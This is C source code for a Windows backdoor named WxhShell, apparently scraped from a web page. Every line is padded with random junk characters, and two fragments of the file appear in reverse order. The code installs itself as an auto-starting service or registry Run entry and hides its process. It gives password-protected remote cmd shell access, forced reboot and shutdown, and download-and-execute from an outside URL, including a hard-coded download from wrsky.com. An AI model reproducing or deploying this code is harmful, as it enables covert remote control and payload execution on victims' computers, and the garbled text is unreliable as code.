  case 'd': { DRw;.it2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -*r]9f6 x  
    if(Boot(SHUTDOWN)) jJDY l([  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s55t>t,g6  
    else { @"E{gM@B  
    closesocket(wsh); 4%L-3Ij  
    ExitThread(0); ^HasT4M+x  
    } Ee?+IZ H7|  
    break; 'fkaeFzOl  
    } 4]/i0\Vbam  
  // 获取shell  p3YF  
  case 's': { =ap6IVR  
    CmdShell(wsh); J%n{R60b  
    closesocket(wsh); SS/t8Y4W  
    ExitThread(0); SJdi*>  
    break; bR;Zc  
  } C5^eD^[c  
  // 退出 `DPR >dd@  
  case 'x': { /P3s.-sL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pqm)OZE?  
    CloseIt(wsh); &`J?`l X  
    break; p>@S61 & [  
    } `bF] O"  
  // 离开 Y?>us  
  case 'q': { AZTn!hrU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _p`@/[(|  
    closesocket(wsh); s"solPw  
    WSACleanup(); &G"r>,HU  
    exit(1); &RP}w%I1  
    break; \1p5$0z  
        } f YuM`O  
  } {UR&Y  
  } j2/3NF5&  
sUP !'Av  
  // 提示信息 6(X5n5C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >.-$?2  
} X;?Z_3I:5  
  } * (4TasQu  
Y/1,%8n  
  return; o-D,K dY  
} %VCfcM}5I  
_2,eS[wP  
// shell模块句柄 H~P"uYKIZ  
int CmdShell(SOCKET sock) pM i w9}  
{ C,!}WB@VME  
STARTUPINFO si; E(&GZ QE  
ZeroMemory(&si,sizeof(si)); G2,r %|7ta  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ph&fOj=pFb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XI*_ti  
PROCESS_INFORMATION ProcessInfo; C;jV{sb9c  
char cmdline[]="cmd"; Q#i^<WUpg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _x.D< n=X  
  return 0; dWI.t1`i  
} $.z~bmH"D  
+HK)A%QI  
// 自身启动模式 yeCR{{B/'  
int StartFromService(void) <9s=K\-  
{ y ;4h'y>#  
typedef struct DJ9;{,gm  
{ =!#iC?I  
  DWORD ExitStatus; 4#qjRmt  
  DWORD PebBaseAddress; $pT%7jV}  
  DWORD AffinityMask; <}E^r_NvD  
  DWORD BasePriority; IFX|"3[$  
  ULONG UniqueProcessId; ] _/d  
  ULONG InheritedFromUniqueProcessId; Qjj:r~l  
}   PROCESS_BASIC_INFORMATION; /Jc?;@{  
|m%M$^sZ}  
PROCNTQSIP NtQueryInformationProcess; &E{5k{Y  
6rnehv!p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @x@w<e%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PSdH9ea  
r]{fjw(~  
  HANDLE             hProcess; p.2>- L  
  PROCESS_BASIC_INFORMATION pbi; 5g- apod  
vl@t4\@3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 ]@}+H  
  if(NULL == hInst ) return 0; w jmZ`UMz  
bw7!MAXd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LC/w".oq?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^/W 7Xd(s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tH:K6^oR  
}eX_p6bBw  
  if (!NtQueryInformationProcess) return 0; 6[9E^{(z  
4M8AYh2)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 16\U'<  
  if(!hProcess) return 0; vII8>x%*  
RZfC ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _^RN C)ol  
J{mP5<8>b  
  CloseHandle(hProcess); 4:}`X  
QD:0iD?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0<L@f=i  
if(hProcess==NULL) return 0; lO9{S=N  
g[;iVX^1&  
HMODULE hMod; \2<2&=h?  
char procName[255]; ISr~JQr  
unsigned long cbNeeded; r1FE$R~C=  
5Ag>,>kJ6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xl6)&   
4[3T%jA  
  CloseHandle(hProcess); D^PsV  
[ &*$!M  
if(strstr(procName,"services")) return 1; // 以服务启动 {K'SOh H4?  
wN)R !6  
  return 0; // 注册表启动 |4Ix2GD  
} 04;y%~,}U/  
S'-<p<;D\B  
// 主模块 ,l<-*yMD  
int StartWxhshell(LPSTR lpCmdLine) z1+rz%  
{ 1#qCD["8  
  SOCKET wsl; LM'` U-/e$  
BOOL val=TRUE; +29;T0>a  
  int port=0; Z"? AaD[  
  struct sockaddr_in door; Za!c=(5  
DuvP3(K  
  if(wscfg.ws_autoins) Install(); ud:?~?j&w  
U30)r+&  
port=atoi(lpCmdLine); ^TWN_(-@  
~rCnST  
if(port<=0) port=wscfg.ws_port; Wsz='@XvB  
<J-OwO a-1  
  WSADATA data; 8"LaP3U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )O- x1U  
l``1^&K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @\l> <R9V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Re1@2a>  
  door.sin_family = AF_INET; -e(2?Xq9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %,,h )9  
  door.sin_port = htons(port); :e@JESlLf  
8VcAtrx_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W? UCo6<m  
closesocket(wsl); 0h shHv-  
return 1; \N#)e1.0P  
} xN"KSQpu  
\Di~DN1  
  if(listen(wsl,2) == INVALID_SOCKET) { pjj 5  
closesocket(wsl); iL 4SL}P  
return 1; J+*rjdI  
} !CBx$1z  
  Wxhshell(wsl); Mty]LMK  
  WSACleanup(); GvzPT2E!  
8)POEY4  
return 0; 3 n:<oOV  
cHsJQU*K6  
} h/TPd]  
Bh' vr3|  
// 以NT服务方式启动 eBAB7r/7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KR^peWR  
{ sf*SxdoZU  
DWORD   status = 0; [ !R%yD;  
  DWORD   specificError = 0xfffffff; wCt+{Y3T  
4\OELU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ok`U*j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )vU{JY;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ic=V:  
  serviceStatus.dwWin32ExitCode     = 0; H+5]3>O-$  
  serviceStatus.dwServiceSpecificExitCode = 0; aY:(0en]&  
  serviceStatus.dwCheckPoint       = 0; f,L  
  serviceStatus.dwWaitHint       = 0; pV("NJj!  
J$I1 *~I4v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `u>BtAx8  
  if (hServiceStatusHandle==0) return; @J<B^_+Se  
#8z\i2I  
status = GetLastError(); d}o1 j  
  if (status!=NO_ERROR) `f'q/  
{ 78QFaN$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |(P;2q4>  
    serviceStatus.dwCheckPoint       = 0; CLkVe  
    serviceStatus.dwWaitHint       = 0; 0KQ8; &a|  
    serviceStatus.dwWin32ExitCode     = status; rbtV,Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8&UuwZ6i-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  <aHt6s'  
    return; \34|9#*z-  
  } %|,<\~P  
RrZjC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nz}Q"6L  
  serviceStatus.dwCheckPoint       = 0; #wjBMR%  
  serviceStatus.dwWaitHint       = 0; .FXQ,7mZ-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Z`)*TRp4  
} o7T|w~F~R  
1 I+5  
// 处理NT服务事件,比如:启动、停止 :> q?s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y>#c2@^i<  
{ j d8 1E  
switch(fdwControl) OXacI~C  
{ *(scSC>  
case SERVICE_CONTROL_STOP: ]Cz16e&=2  
  serviceStatus.dwWin32ExitCode = 0; aBI]' D;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >Qx#2x+  
  serviceStatus.dwCheckPoint   = 0; "|G,P-5G"  
  serviceStatus.dwWaitHint     = 0; ^]DWrmy  
  { @Hf }PBb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k`AJ$\=  
  } >gSerDH8\  
  return; %xfy\of+Nk  
case SERVICE_CONTROL_PAUSE: j&Aq^aI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }6bLukv  
  break; $ vjmW! O  
case SERVICE_CONTROL_CONTINUE: $~YuS_sYg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c~'kW`sNV  
  break; @iRVY|t/  
case SERVICE_CONTROL_INTERROGATE: 1}uDgz^  
  break; z )pV$  
}; I7~|!d6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =z3jFaZ  
} op-#Ig$#  
b tu:@s8ci  
// 标准应用程序主函数 (Lo2fY5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 709eLhXrH  
{ =R'v]SXj  
=e;wEf%`  
// 获取操作系统版本 fEjW7 c  
OsIsNt=GetOsVer(); LNZ#%R~r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V3oAZ34)  
\$C 4H  
  // 从命令行安装 Ax0,7,8y  
  if(strpbrk(lpCmdLine,"iI")) Install(); h0 Sf=[>z  
??m7xH5u1  
  // 下载执行文件 ifs*-f  
if(wscfg.ws_downexe) { =eqI]rVj^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8[C6LG  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,2TqzU;  
} Y2X1!Em>B  
wF uh6!J  
if(!OsIsNt) { `+.I  
// 如果时win9x,隐藏进程并且设置为注册表启动 K8J2eV\  
HideProc(); ~&}O|B()  
StartWxhshell(lpCmdLine); /=@vG Vp6  
} %&Cl@6  
else QVW6SY  
  if(StartFromService()) jEsTw_  
  // 以服务方式启动 ]K7  64}  
  StartServiceCtrlDispatcher(DispatchTable);  /Xz4q!Ul  
else +*J4q5;E[?  
  // 普通方式启动 c2^7"`  
  StartWxhshell(lpCmdLine); vy@Lu cB  
pD#"8h  
return 0; doc  
} aHC;p=RQ\A  
.e"Qv*[^  
(g m^o{  
X^Y9T`mQ}  
=========================================== ^I{]Um:  
k Ml<  
$t$f1?  
N >!xedw=  
gJ.6m&+  
h`]/3Ma*:  
" pYVy(]1I(3  
5uo(z,WLR  
#include <stdio.h> l~YNmmv_  
#include <string.h> #0u69  
#include <windows.h> Yd;r8rN  
#include <winsock2.h> q=Yerp3~  
#include <winsvc.h> AfN   
#include <urlmon.h> UWp8I)p!\O  
l _ O~v?  
#pragma comment (lib, "Ws2_32.lib") DH9?2)aR  
#pragma comment (lib, "urlmon.lib") ennz/'  
t4_K>Mj+d  
#define MAX_USER   100 // 最大客户端连接数 (u&yb!`  
#define BUF_SOCK   200 // sock buffer 0NtsFPO  
#define KEY_BUFF   255 // 输入 buffer ]&U|d  
Noxz kpMF  
#define REBOOT     0   // 重启 &t/<yq}{  
#define SHUTDOWN   1   // 关机 9yo[T(8  
%"Q!5qH&  
#define DEF_PORT   5000 // 监听端口 iwJ-<v_:h  
e H  
#define REG_LEN     16   // 注册表键长度 T(UYlLe  
#define SVC_LEN     80   // NT服务名长度 mzxvfXSF  
htYrv5q=M  
// 从dll定义API -Y=c g;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d:pm|C|F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $pfe2(8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $Ds]\j*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8.Ef5-m  
?gwbg*  
// wxhshell配置信息 m=\eL~ h  
struct WSCFG { %]0U60  
  int ws_port;         // 监听端口 #}7m'F  
  char ws_passstr[REG_LEN]; // 口令 HQ`nq~%&(  
  int ws_autoins;       // 安装标记, 1=yes 0=no +Z&&H'xD  
  char ws_regname[REG_LEN]; // 注册表键名 Vfm #UvA  
  char ws_svcname[REG_LEN]; // 服务名 Jf<yTAm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q>(u>z!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oHXW])[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $a*Q).^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c9TAV,/fF*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D 2:a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *7;*@H*jd  
Cn;H@!8<s  
}; SE9u2Jk  
mUyv+n,  
// default Wxhshell configuration $v<hW A]>  
struct WSCFG wscfg={DEF_PORT, }t D!xI;  
    "xuhuanlingzhe", 8N* -2/P&  
    1, liw 9:@+V  
    "Wxhshell", +'j*WVE%5  
    "Wxhshell", OO\biYh o  
            "WxhShell Service", /Np"J  
    "Wrsky Windows CmdShell Service", b/,!J] W  
    "Please Input Your Password: ", cvV?V\1f  
  1, O;BMwg_7  
  "http://www.wrsky.com/wxhshell.exe", B Ff. Rd95  
  "Wxhshell.exe" /W$y"!^)J1  
    }; a^\- }4yR  
P tQ#  
// 消息定义模块 renmz,dJ,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Be>c)90bO_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O<Sc.@~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _HHJw""j  
char *msg_ws_ext="\n\rExit."; k3/JQ]'D  
char *msg_ws_end="\n\rQuit."; [^d6cMEOlc  
char *msg_ws_boot="\n\rReboot..."; ok%a|Zz+]  
char *msg_ws_poff="\n\rShutdown..."; ooU Sb  
char *msg_ws_down="\n\rSave to "; dbT^9: Q  
@z$pPo0fW  
char *msg_ws_err="\n\rErr!"; D0y,TF  
char *msg_ws_ok="\n\rOK!"; `-K)K<  
/zG-\eU  
char ExeFile[MAX_PATH]; >c y.]uB  
int nUser = 0; F `pyhc>1;  
HANDLE handles[MAX_USER]; -=Eq/s u%  
int OsIsNt; &>zy_)  
[+MH[1Vr={  
SERVICE_STATUS       serviceStatus; U~#^ ^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >RL6Jbo|  
Z_V&IQo-7  
// 函数声明 o(X90X  
int Install(void); @@{_[ir  
int Uninstall(void); vgQhdtt  
int DownloadFile(char *sURL, SOCKET wsh); !OoaE* s  
int Boot(int flag); me[J\MJ;w^  
void HideProc(void); ?V5Pt s  
int GetOsVer(void); oY2?W  
int Wxhshell(SOCKET wsl); kLPO+lg+  
void TalkWithClient(void *cs); 8~s-t  
int CmdShell(SOCKET sock); %YvSHh;c  
int StartFromService(void); *4hOCQ[  
int StartWxhshell(LPSTR lpCmdLine); \p@nH%@v  
}Cmj(k`~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |+;KhC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0(U3~ k6  
V>>) 7E:Q  
// 数据结构和表定义 ]IHD:!Z-=  
SERVICE_TABLE_ENTRY DispatchTable[] = kJ#[UCqzM  
{ fJn3"D'  
{wscfg.ws_svcname, NTServiceMain}, 7\0|`{|R@  
{NULL, NULL} ;!0.Kk 4  
}; PD}SPOA`U3  
cGpN4|*rQ  
// 自我安装 q0b`HD  
int Install(void) =JbdsYI(  
{ Ic{'H2~4,  
  char svExeFile[MAX_PATH]; B=q)}aWc  
  HKEY key; Jp.3KA>  
  strcpy(svExeFile,ExeFile); >xU72l#5  
>d27[%  
// 如果是win9x系统,修改注册表设为自启动 _!C)r*0(  
if(!OsIsNt) { vA2,&%jw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xu"94y+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]cLEuE^&  
  RegCloseKey(key); ~aqT~TL_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {? K|(C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D,GPn%Wqi  
  RegCloseKey(key); !4 4mT'Y  
  return 0; #.MIW*==  
    } L.T gJv43  
  } ?HEtrX,q  
} p;n3`aVh  
else { XC7Ty'#"KX  
l?@MUsg+  
// 如果是NT以上系统,安装为系统服务 +9 16ZPk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qUEd E`B  
if (schSCManager!=0) iJdrY 6qd  
{ EG(`E9DZ  
  SC_HANDLE schService = CreateService ^:cb $9F  
  ( wv7p,9Z[  
  schSCManager, OXIu>jF  
  wscfg.ws_svcname, yd0=h7s  
  wscfg.ws_svcdisp, _>jrlIfc  
  SERVICE_ALL_ACCESS, ;9p#xW6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =q"w2b&  
  SERVICE_AUTO_START, ]uStn   
  SERVICE_ERROR_NORMAL, U!a!|s>  
  svExeFile, [U%ym{be ^  
  NULL, je- , S>U  
  NULL, @Hspg^  
  NULL, HIPcZ!p  
  NULL, IFC%%I t5,  
  NULL 0.J1!RIK/  
  ); J+3\2D?  
  if (schService!=0) dJ%wVY0z=  
  { VVI8)h8  
  CloseServiceHandle(schService);  fW5" 4,  
  CloseServiceHandle(schSCManager); ( E"&UC[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q*09 E  
  strcat(svExeFile,wscfg.ws_svcname); ;1*m} uNz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =9;[C:p0-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XI@6a9Uk  
  RegCloseKey(key); ` x%U  
  return 0; 5T$9'5V7  
    } gtaV6sD  
  } Qm35{^p+  
  CloseServiceHandle(schSCManager); G| QUujl  
} Tsm)&$JI8  
} pW*{Mx  
vi[#? ;pkF  
return 1; 1R'u v4e  
} 3:]{(@J  
Gsds!z$  
// 自我卸载 q:`77  
int Uninstall(void) pgz:F#>  
{ klK-,J  
  HKEY key; #;\L,a|>*  
p|&ZJ@3  
if(!OsIsNt) { vHs>ba$"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0%;N9\  
  RegDeleteValue(key,wscfg.ws_regname); iX8h2l  
  RegCloseKey(key); a' IX yj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 71k!k&Im  
  RegDeleteValue(key,wscfg.ws_regname); )CC?vV  
  RegCloseKey(key); blRY7  
  return 0; !p]T6_t]Q  
  } %|:;Ti  
} ;=5@h!@R  
} Qa,NGP.  
else { Mv/IMO0rR  
GN:Ru|n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s jL*I  
if (schSCManager!=0) 763E 6,7  
{ ri/t(m^{W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w8AJ#9W  
  if (schService!=0) wb(*7 &eP:  
  { nuf@}W>y  
  if(DeleteService(schService)!=0) { Q  `e~MD  
  CloseServiceHandle(schService); & cM u/}  
  CloseServiceHandle(schSCManager); c8^+^.=pX  
  return 0; tyc8{t#Z  
  } WW@JVZxK  
  CloseServiceHandle(schService); (w5u*hx  
  } |Hx%f  
  CloseServiceHandle(schSCManager); =8$|_  
} ]%gp?9wy  
} gIV3n#-{L  
D+| K%_Qq  
return 1; HBt|}uZ?6i  
} R'*<A3^  
^-gfib|VGe  
// 从指定url下载文件 _v1bTg"?  
int DownloadFile(char *sURL, SOCKET wsh) -rE eKt  
{ ljN zYg~-  
  HRESULT hr; *0=fT}&!  
char seps[]= "/"; Nc G,0K  
char *token; KotPV  
char *file; T{_1c oL  
char myURL[MAX_PATH]; @PYW|*VS  
char myFILE[MAX_PATH]; E)KB@f<g*  
f:_=5e +  
strcpy(myURL,sURL); Oq #o1>  
  token=strtok(myURL,seps); DY)D(f/&3  
  while(token!=NULL) n?y'c^  
  { ^c/mj9M#C  
    file=token; F{TC#J}I%'  
  token=strtok(NULL,seps); y<O@rD8iA  
  } 8B}'\e4i  
!a' K &  
GetCurrentDirectory(MAX_PATH,myFILE); yr FZ~r@-  
strcat(myFILE, "\\"); *D\0.K,o  
strcat(myFILE, file); p G)9=X!9  
  send(wsh,myFILE,strlen(myFILE),0); whV&qe;sw  
send(wsh,"...",3,0); gsW=3m&`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z 6 tE{/  
  if(hr==S_OK) LiiK3!^i  
return 0; 4st~3,lR$  
else t{+ M|Y  
return 1; Jb( DJ-&  
f&6w;T=  
} 6{5q@9F  
D~cW ]2  
// 系统电源模块 q $t&|{  
int Boot(int flag) mG0L !5  
{ aML#Z|n  
  HANDLE hToken; ' be P  
  TOKEN_PRIVILEGES tkp; 9OPK4-  
}$^]dn@  
  if(OsIsNt) { IeO-O'^&`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =Nw2;TkB[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9 TqoLX  
    tkp.PrivilegeCount = 1; +#0~:&!9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0('OyH)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aL88E  
if(flag==REBOOT) { \s,Iz[0Vfz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7@FDBjq  
  return 0; Kp8fh-4_  
} )V=0IZi  
else { V{43HA10b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xC<R:"Mn  
  return 0; |a%B|CX  
} 5i|s>pD4z1  
  } ):/,w!1  
  else {  ~q*i;*  
if(flag==REBOOT) { Vre=%bGw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dAL0.>|`0  
  return 0; (RExV?:  
} Kl2}o|b   
else { #>BX/O*D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D)y{{g*Lnm  
  return 0; PXa5g5 !  
} s\6N }[s  
} p Z"o@';!  
p=2zS.  
return 1; =D{B}=D\IM  
} }I\-HP8!gv  
:=y0'f V(@  
// win9x进程隐藏模块 kzMa+(fu  
void HideProc(void) YbzM6u2  
{ \$j^_C>  
pG(Fz0b{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hXNH"0VCV  
  if ( hKernel != NULL ) RV}GK L>gn  
  { ;{Xy`{Cg!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F{;; :  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vT%qILTrQf  
    FreeLibrary(hKernel); ;8BA~,4l  
  } {wcO[bN  
juH wHt  
return; yE}BfU {.  
} 9WOu8Ia  
d`85P+Qen|  
// 获取操作系统版本 D@#0dDT  
int GetOsVer(void) XjxPIdX_H  
{ uWh|C9Y!A  
  OSVERSIONINFO winfo; ) 9MrdVNv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CldDr<k3  
  GetVersionEx(&winfo); Mxo6fn6-46  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h!v/s=8c  
  return 1; '5AvT: ^u  
  else .?B{GnB>  
  return 0; )AJ=an||5  
} wEE2a56L-  
6p#g0t  
// 客户端句柄模块 I'dj.  
int Wxhshell(SOCKET wsl) +GYS26  
{ W+.{4 K  
  SOCKET wsh; inZi3@h)T  
  struct sockaddr_in client; jM]d'E?ZLA  
  DWORD myID; ALfiR(!  
wra byRjK  
  while(nUser<MAX_USER) ka#K [qI  
{ t}VwVf<K  
  int nSize=sizeof(client); 6%E~p0)i%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nx B32  
  if(wsh==INVALID_SOCKET) return 1; k}HQq_Y(<  
vu<#wW*9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _|X7 n~  
if(handles[nUser]==0) zi }(^~Fe  
  closesocket(wsh); ;Xyte  
else BB63x Ex  
  nUser++; Z2#`}GI_m  
  } l0Y?v 4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9qr UM`z$g  
Z^*NnL.'  
  return 0; )yrAov\z*  
} ./7v",#*.'  
{c@G$  
// 关闭 socket @UO}W_0ZD  
void CloseIt(SOCKET wsh) }"n7~|  
{ :@/"abv  
closesocket(wsh); U;p e:  
nUser--; 1M+oTIN  
ExitThread(0); R]Ek}1~?  
} IM=+3W;ak  
ei|cD[ NY  
// 客户端请求句柄 \DS^i`o)rY  
void TalkWithClient(void *cs) 3b@VY'P  
{ N xFUO0O3  
) "[HZ/  
  SOCKET wsh=(SOCKET)cs; (i]Z|@|)  
  char pwd[SVC_LEN]; 1%jH^,t/m  
  char cmd[KEY_BUFF]; p,;mYms  
char chr[1]; \_ 9rr6^ "  
int i,j; L,$3Yj  
O |WbFf  
  while (nUser < MAX_USER) { pv&^D,H,  
_f|/*. @Q  
if(wscfg.ws_passstr) { ,#d[ad<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `eC+% O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ubnx{VC  
  //ZeroMemory(pwd,KEY_BUFF); jgq{pZ#E  
      i=0; ?mU\ N0o  
  while(i<SVC_LEN) { 3;l"=#5  
Yb 6q))Y  
  // 设置超时 /zT`Y=1  
  fd_set FdRead; ,Kw5Ro`I:  
  struct timeval TimeOut; Sy  
  FD_ZERO(&FdRead); . :a<2sp6  
  FD_SET(wsh,&FdRead); TBnvV 5_  
  TimeOut.tv_sec=8; ;& |qSa'  
  TimeOut.tv_usec=0; 'MN1A;IJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gu<V (M\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \[ M_\&GC  
OKAkl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [;^,CD|P  
  pwd=chr[0]; :u/mTZDi  
  if(chr[0]==0xd || chr[0]==0xa) { 41yOXy ;~l  
  pwd=0; [!~}S  
  break; q@ZlJ3%l,  
  } M{E{NK  
  i++; NXI[q 'y  
    } hcyO97@r  
S-!=NX&C  
  // 如果是非法用户,关闭 socket "SR5wr   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [PWL<t::c  
} 6/1$< !WH  
V`bs&5#Sx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); si(cOCj/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7ZsA5%s=,  
-DCa   
while(1) { 4pPI'd&/7  
e_rzA  
  ZeroMemory(cmd,KEY_BUFF); !ni>\lZ  
]JMl|e  
      // 自动支持客户端 telnet标准   Qn|+eLY  
  j=0; Js{= i>D  
  while(j<KEY_BUFF) { OipqoI2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6(KmA-!b(O  
  cmd[j]=chr[0]; URw5U1  
  if(chr[0]==0xa || chr[0]==0xd) { K9|7dvzC:  
  cmd[j]=0; !h:  Q  
  break; eW50s`bKY  
  } <n^3uXzD  
  j++; .~mCXz<x  
    } Gx'TkU=  
Z0* %Rq  
  // 下载文件 3ZojE ux`  
  if(strstr(cmd,"http://")) { 3Aj*\e0t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o`6|ba  
  if(DownloadFile(cmd,wsh)) }l;Lxb2`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~pz FZ7n4  
  else tsv$r$Se  
